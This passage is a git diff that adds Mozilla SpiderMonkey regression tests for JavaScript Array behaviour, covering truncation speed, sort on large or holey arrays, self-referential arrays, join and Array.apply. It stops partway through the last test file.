new file mode 100644
index 000000000..ae3adb72d
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-101964.js
@@ -0,0 +1,86 @@
+// |reftest| random -- bogus perf test (bug 467263)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+/*
+ * Date: 27 September 2001
+ *
+ * SUMMARY: Performance: truncating even very large arrays should be fast!
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=101964
+ *
+ * Adjust this testcase if necessary. The FAST constant defines
+ * an upper bound in milliseconds for any truncation to take.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 101964;
+var summary = 'Performance: truncating even very large arrays should be fast!';
+var BIG = 10000000;
+var LITTLE = 10;
+var FAST = 50; // array truncation should be 50 ms or less to pass the test
+var MSG_FAST = 'Truncation took less than ' + FAST + ' ms';
+var MSG_SLOW = 'Truncation took ';
+var MSG_MS = ' ms';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+
+status = inSection(1);
+var arr = Array(BIG);
+var start = new Date();
+arr.length = LITTLE;
+actual = elapsedTime(start);
+expect = FAST;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function elapsedTime(startTime)
+{
+ return new Date() - startTime;
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isThisFast(actual);
+ expectedvalues[UBound] = isThisFast(expect);
+ UBound++;
+}
+
+
+function isThisFast(ms)
+{
+ if (ms <= FAST)
+ return MSG_FAST;
+ return MSG_SLOW + ms + MSG_MS;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-107138.js b/js/src/tests/js1_5/Array/regress-107138.js
new file mode 100644
index 000000000..ff865b550
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-107138.js
@@ -0,0 +1,177 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 29 October 2001
+ *
+ * SUMMARY: Regression test for bug 107138
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=107138
+ *
+ * The bug: arr['1'] == undefined instead of arr['1'] == 'one'.
+ * The bug was intermittent and did not always occur...
+ *
+ * The cnSTRESS constant defines how many times to repeat this test.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var cnSTRESS = 10;
+var cnDASH = '-';
+var BUGNUMBER = 107138;
+var summary = 'Regression test for bug 107138';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = ['zero', 'one', 'two', 'three', 'four', 'five',
+ 'six', 'seven', 'eight', 'nine', 'ten'];
+
+
+// This bug was intermittent. Stress-test it.
+for (var j=0; j<cnSTRESS; j++)
+{
+ status = inSection(j + cnDASH + 1);
+ actual = arr[0];
+ expect = 'zero';
+ addThis();
+
+ status = inSection(j + cnDASH + 2);
+ actual = arr['0'];
+ expect = 'zero';
+ addThis();
+
+ status = inSection(j + cnDASH + 3);
+ actual = arr[1];
+ expect = 'one';
+ addThis();
+
+ status = inSection(j + cnDASH + 4);
+ actual = arr['1'];
+ expect = 'one';
+ addThis();
+
+ status = inSection(j + cnDASH + 5);
+ actual = arr[2];
+ expect = 'two';
+ addThis();
+
+ status = inSection(j + cnDASH + 6);
+ actual = arr['2'];
+ expect = 'two';
+ addThis();
+
+ status = inSection(j + cnDASH + 7);
+ actual = arr[3];
+ expect = 'three';
+ addThis();
+
+ status = inSection(j + cnDASH + 8);
+ actual = arr['3'];
+ expect = 'three';
+ addThis();
+
+ status = inSection(j + cnDASH + 9);
+ actual = arr[4];
+ expect = 'four';
+ addThis();
+
+ status = inSection(j + cnDASH + 10);
+ actual = arr['4'];
+ expect = 'four';
+ addThis();
+
+ status = inSection(j + cnDASH + 11);
+ actual = arr[5];
+ expect = 'five';
+ addThis();
+
+ status = inSection(j + cnDASH + 12);
+ actual = arr['5'];
+ expect = 'five';
+ addThis();
+
+ status = inSection(j + cnDASH + 13);
+ actual = arr[6];
+ expect = 'six';
+ addThis();
+
+ status = inSection(j + cnDASH + 14);
+ actual = arr['6'];
+ expect = 'six';
+ addThis();
+
+ status = inSection(j + cnDASH + 15);
+ actual = arr[7];
+ expect = 'seven';
+ addThis();
+
+ status = inSection(j + cnDASH + 16);
+ actual = arr['7'];
+ expect = 'seven';
+ addThis();
+
+ status = inSection(j + cnDASH + 17);
+ actual = arr[8];
+ expect = 'eight';
+ addThis();
+
+ status = inSection(j + cnDASH + 18);
+ actual = arr['8'];
+ expect = 'eight';
+ addThis();
+
+ status = inSection(j + cnDASH + 19);
+ actual = arr[9];
+ expect = 'nine';
+ addThis();
+
+ status = inSection(j + cnDASH + 20);
+ actual = arr['9'];
+ expect = 'nine';
+ addThis();
+
+ status = inSection(j + cnDASH + 21);
+ actual = arr[10];
+ expect = 'ten';
+ addThis();
+
+ status = inSection(j + cnDASH + 22);
+ actual = arr['10'];
+ expect = 'ten';
+ addThis();
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-108440.js b/js/src/tests/js1_5/Array/regress-108440.js
new file mode 100644
index 000000000..d83c4164a
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-108440.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 October 2001
+ * SUMMARY: Regression test for bug 108440
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=108440
+ *
+ * We shouldn't crash trying to add an array as an element of itself (!)
+ *
+ * Brendan: "...it appears that Array.prototype.toString is unsafe,
+ * and what's more, ECMA-262 Edition 3 has no helpful words about
+ * avoiding recursive death on a cycle."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 108440;
+var summary = "Shouldn't crash trying to add an array as an element of itself";
+var self = this;
+var temp = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/*
+ * Explicit test:
+ */
+var a=[];
+temp = (a[a.length]=a);
+
+/*
+ * Implicit test (one of the properties of |self| is |a|)
+ */
+a=[];
+for(var prop in self)
+{
+ temp = prop;
+ temp = (a[a.length] = self[prop]);
+}
+
+/*
+ * Stressful explicit test
+ */
+a=[];
+for (var i=0; i<10; i++)
+{
+ a[a.length] = a;
+}
+
+/*
+ * Test toString()
+ */
+a=[];
+for (var i=0; i<10; i++)
+{
+ a[a.length] = a.toString();
+}
+
+/*
+ * Test toSource() - but Rhino doesn't have this, so try...catch it
+ */
+a=[];
+try
+{
+ for (var i=0; i<10; i++)
+ {
+ a[a.length] = a.toSource();
+ }
+}
+catch(e)
+{
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Array/regress-154338.js b/js/src/tests/js1_5/Array/regress-154338.js
new file mode 100644
index 000000000..73b8a7f4b
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-154338.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 June 2002
+ * SUMMARY: Testing array.join() when separator is a variable, not a literal
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=154338
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 154338;
+var summary = 'Test array.join() when separator is a variable, not a literal';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Note that x === 'H' and y === 'ome'.
+ *
+ * Yet for some reason, using |x| or |y| as the separator
+ * in arr.join() was causing out-of-memory errors, whereas
+ * using the literals 'H', 'ome' was not -
+ *
+ */
+var x = 'Home'[0];
+var y = ('Home'.split('H'))[1];
+
+
+status = inSection(1);
+var arr = Array('a', 'b');
+actual = arr.join('H');
+expect = 'aHb';
+addThis();
+
+status = inSection(2);
+arr = Array('a', 'b');
+actual = arr.join(x);
+expect = 'aHb';
+addThis();
+
+status = inSection(3);
+arr = Array('a', 'b');
+actual = arr.join('ome');
+expect = 'aomeb';
+addThis();
+
+status = inSection(4);
+arr = Array('a', 'b');
+actual = arr.join(y);
+expect = 'aomeb';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-157652.js b/js/src/tests/js1_5/Array/regress-157652.js
new file mode 100644
index 000000000..9d77802ca
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-157652.js
@@ -0,0 +1,122 @@
+// |reftest| skip-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x/)||Android) -- No test results
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 July 2002
+ * SUMMARY: Testing that Array.sort() doesn't crash on very large arrays
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=157652
+ *
+ * How large can a JavaScript array be?
+ * ECMA-262 Ed.3 Final, Section 15.4.2.2 : new Array(len)
+ *
+ * This states that |len| must be a a uint32_t (unsigned 32-bit integer).
+ * Note the UBound for uint32's is 2^32 -1 = 0xFFFFFFFF = 4,294,967,295.
+ *
+ * Check:
+ * js> var arr = new Array(0xFFFFFFFF)
+ * js> arr.length
+ * 4294967295
+ *
+ * js> var arr = new Array(0x100000000)
+ * RangeError: invalid array length
+ *
+ *
+ * We'll try the largest possible array first, then a couple others.
+ * We're just testing that we don't crash on Array.sort().
+ *
+ * Try to be good about memory by nulling each array variable after it is
+ * used. This will tell the garbage collector the memory is no longer needed.
+ *
+ * As of 2002-08-13, the JS shell runs out of memory no matter what we do,
+ * when trying to sort such large arrays.
+ *
+ * We only want to test that we don't CRASH on the sort. So it will be OK
+ * if we get the JS "out of memory" error. Note this terminates the test
+ * with exit code 3. Therefore we put
+ *
+ * |expectExitCode(3);|
+ *
+ * The only problem will arise if the JS shell ever DOES have enough memory
+ * to do the sort. Then this test will terminate with the normal exit code 0
+ * and fail.
+ *
+ * Right now, I can't see any other way to do this, because "out of memory"
+ * is not a catchable error: it cannot be trapped with try...catch.
+ *
+ *
+ * FURTHER HEADACHE: Rhino can't seem to handle the largest array: it hangs.
+ * So we skip this case in Rhino. Here is correspondence with Igor Bukanov.
+ * He explains that Rhino isn't actually hanging; it's doing the huge sort:
+ *
+ * Philip Schwartau wrote:
+ *
+ * > Hi,
+ * >
+ * > I'm getting a graceful OOM message on trying to sort certain large
+ * > arrays. But if the array is too big, Rhino simply hangs. Note that ECMA
+ * > allows array lengths to be anything less than Math.pow(2,32), so the
+ * > arrays I'm sorting are legal.
+ * >
+ * > Note below, I'm getting an instantaneous OOM error on arr.sort() for LEN
+ * > = Math.pow(2, 30). So shouldn't I also get one for every LEN between
+ * > that and Math.pow(2, 32)? For some reason, I start to hang with 100% CPU
+ * > as LEN hits, say, Math.pow(2, 31) and higher. SpiderMonkey gives OOM
+ * > messages for all of these. Should I file a bug on this?
+ *
+ * Igor Bukanov wrote:
+ *
+ * This is due to different sorting algorithm Rhino uses when sorting
+ * arrays with length > Integer.MAX_VALUE. If length can fit Java int,
+ * Rhino first copies internal spare array to a temporary buffer, and then
+ * sorts it, otherwise it sorts array directly. In case of very spare
+ * arrays, that Array(big_number) generates, it is rather inefficient and
+ * generates OutOfMemory if length fits int. It may be worth in your case
+ * to optimize sorting to take into account array spareness, but then it
+ * would be a good idea to file a bug about ineficient sorting of spare
+ * arrays both in case of Rhino and SpiderMonkey as SM always uses a
+ * temporary buffer.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 157652;
+var summary = "Testing that Array.sort() doesn't crash on very large arrays";
+var expect = 'No Crash';
+var actual = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var IN_RHINO = inRhino();
+
+try
+{
+ if (!IN_RHINO)
+ {
+ var a1=Array(0xFFFFFFFF);
+ a1.sort();
+ a1 = null;
+ }
+
+ var a2 = Array(0x40000000);
+ a2.sort();
+ a2=null;
+
+ var a3=Array(0x10000000/4);
+ a3.sort();
+ a3=null;
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-178722.js b/js/src/tests/js1_5/Array/regress-178722.js
new file mode 100644
index 000000000..950b1e759
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-178722.js
@@ -0,0 +1,130 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 November 2002
+ * SUMMARY: arr.sort() should not output |undefined| when |arr| is empty
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=178722
+ *
+ * ECMA-262 Ed.3: 15.4.4.11 Array.prototype.sort (comparefn)
+ *
+ * 1. Call the [[Get]] method of this object with argument "length".
+ * 2. Call ToUint32(Result(1)).
+ * 3. Perform an implementation-dependent sequence of calls to the [[Get]],
+ * [[Put]], and [[Delete]] methods of this object, etc. etc.
+ * 4. Return this object.
+ *
+ *
+ * Note that sort() is done in-place on |arr|. In other words, sort() is a
+ * "destructive" method rather than a "functional" method. The return value
+ * of |arr.sort()| and |arr| are the same object.
+ *
+ * If |arr| is an empty array, the return value of |arr.sort()| should be
+ * an empty array, not the value |undefined| as was occurring in bug 178722.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 178722;
+var summary = 'arr.sort() should not output |undefined| when |arr| is empty';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr;
+
+
+// create empty array or pseudo-array objects in various ways
+var arr1 = Array();
+var arr2 = new Array();
+var arr3 = [];
+var arr4 = [1];
+arr4.pop();
+
+
+status = inSection(1);
+arr = arr1.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr1;
+expect = true;
+addThis();
+
+status = inSection(2);
+arr = arr2.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr2;
+expect = true;
+addThis();
+
+status = inSection(3);
+arr = arr3.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr3;
+expect = true;
+addThis();
+
+status = inSection(4);
+arr = arr4.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr4;
+expect = true;
+addThis();
+
+// now do the same thing, with non-default sorting:
+function g() {return 1;}
+
+status = inSection('1a');
+arr = arr1.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr1;
+expect = true;
+addThis();
+
+status = inSection('2a');
+arr = arr2.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr2;
+expect = true;
+addThis();
+
+status = inSection('3a');
+arr = arr3.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr3;
+expect = true;
+addThis();
+
+status = inSection('4a');
+arr = arr4.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr4;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-255555.js b/js/src/tests/js1_5/Array/regress-255555.js
new file mode 100644
index 000000000..e4b2814b2
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-255555.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 255555;
+var summary = 'Array.prototype.sort(comparefn) never passes undefined to comparefn';
+var actual = 'not undefined';
+var expect = 'not undefined';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function comparefn(a,b)
+{
+ if (typeof a == 'undefined')
+ {
+ actual = 'undefined';
+ return 1;
+ }
+ if (typeof b == 'undefined')
+ {
+ actual = 'undefined';
+ return -1;
+ }
+ return a - b;
+}
+
+var arry = [ 1, 2, undefined ].sort(comparefn)
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-299644.js b/js/src/tests/js1_5/Array/regress-299644.js
new file mode 100644
index 000000000..6a19cf54b
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-299644.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299644;
+var summary = 'Arrays with holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+actual = (new Array(10).concat()).length;
+expect = 10;
+reportCompare(expect, actual, '(new Array(10).concat()).length == 10');
+
+var a = new Array(10);
+actual = true;
+expect = true;
+for (var p in a)
+{
+ actual = false;
+ break;
+}
+reportCompare(expect, actual, 'Array holes are not enumerable');
diff --git a/js/src/tests/js1_5/Array/regress-300858.js b/js/src/tests/js1_5/Array/regress-300858.js
new file mode 100644
index 000000000..278937557
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-300858.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 300858;
+var summary = 'Do not crash when sorting array with holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var arry = [];
+arry[6] = 'six';
+arry[8] = 'eight';
+arry[9] = 'nine';
+arry[13] = 'thirteen';
+arry[14] = 'fourteen';
+arry[21] = 'twentyone';
+arry.sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-310351.js b/js/src/tests/js1_5/Array/regress-310351.js
new file mode 100644
index 000000000..40401c536
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-310351.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310351;
+var summary = 'Convert host "list" objects to arrays';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var nodeList = [];
+if (typeof document != 'undefined')
+{
+ nodeList = document.getElementsByTagName('*');
+}
+else
+{
+ printStatus('test using dummy array since no document available');
+}
+
+var array = Array.prototype.slice.call(nodeList, 0);
+
+expect = 'Array';
+actual = array.constructor.name;
+
+// nodeList is live and may change
+var saveLength = nodeList.length;
+
+reportCompare(expect, actual, summary + ': constructor test');
+
+expect = saveLength;
+actual = array.length;
+
+reportCompare(expect, actual, summary + ': length test');
+expect = true;
+actual = true;
+
+for (var i = 0; i < saveLength; i++)
+{
+ if (array[i] != nodeList[i])
+ {
+ actual = false;
+ summary += ' Comparison failed: array[' + i + ']=' + array[i] +
+ ', nodeList[' + i + ']=' + nodeList[i];
+ break;
+ }
+}
+
+reportCompare(expect, actual, summary + ': identical elements test');
+
diff --git a/js/src/tests/js1_5/Array/regress-311515.js b/js/src/tests/js1_5/Array/regress-311515.js
new file mode 100644
index 000000000..c6d4928ce
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-311515.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311515;
+var summary = 'Array.sort should skip holes and undefined during sort';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [, 1, , 2, undefined];
+
+actual = a.sort().toString();
+expect = '1,2,,,';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-313153.js b/js/src/tests/js1_5/Array/regress-313153.js
new file mode 100644
index 000000000..e6c9c979c
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-313153.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313153;
+var summary = 'generic native method dispatcher extra actual arguments';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '1,2,3';
+actual = (function (){return Array.concat.apply([], arguments)})(1,2,3).toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-315509-01.js b/js/src/tests/js1_5/Array/regress-315509-01.js
new file mode 100644
index 000000000..7d29c5946
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-315509-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315509;
+var summary = 'Array.prototype.unshift on Arrays with holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [0,1,2,3,4];
+delete a[1];
+
+expect = '0,,2,3,4';
+actual = a.toString();
+
+reportCompare(expect, actual, summary);
+
+a.unshift('a','b');
+
+expect = 'a,b,0,,2,3,4';
+actual = a.toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-330812.js b/js/src/tests/js1_5/Array/regress-330812.js
new file mode 100644
index 000000000..c48f4c886
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-330812.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x/)||Android) -- No test results
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330812;
+var summary = 'Making Array(1<<29).sort() less problematic';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(3);
+
+printStatus('This test passes if the browser does not hang or crash');
+printStatus('This test expects exit code 0 or 3 to indicate out of memory');
+
+try
+{
+ var result = Array(1 << 29).sort();
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-345961.js b/js/src/tests/js1_5/Array/regress-345961.js
new file mode 100644
index 000000000..8c2e03c20
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-345961.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345961;
+var summary = 'Array.prototype.shift should preserve holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = false;
+
+ var array = new Array(2);
+ array.shift();
+ actual = array.hasOwnProperty(0);
+ reportCompare(expect, actual, summary);
+
+ array=Array(1);
+ array.shift(1);
+ actual = array.hasOwnProperty(1);
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-348810.js b/js/src/tests/js1_5/Array/regress-348810.js
new file mode 100644
index 000000000..d5bd2070d
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-348810.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 348810;
+var summary = 'Do not crash when sorting an array of holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = Array(1);
+ a.sort();
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-350256-01.js b/js/src/tests/js1_5/Array/regress-350256-01.js
new file mode 100644
index 000000000..5f68522f9
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-350256-01.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350256;
+var summary = 'Array.apply maximum arguments';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test(Math.pow(2, 16));
+//-----------------------------------------------------------------------------
+
+function test(length)
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = new Array();
+ a[length - 2] = 'length-2';
+ a[length - 1] = 'length-1';
+
+ var b = Array.apply(null, a);
+
+ expect = length + ',length-2,length-1';
+ actual = b.length + "," + b[length - 2] + "," + b[length - 1];
+ reportCompare(expect, actual, summary);
+
+ function f() {
+ return arguments.length + "," + arguments[length - 2] + "," +
+ arguments[length - 1];
+ }
+
+ expect = length + ',length-2,length-1';
+ actual = f.apply(null, a);
+
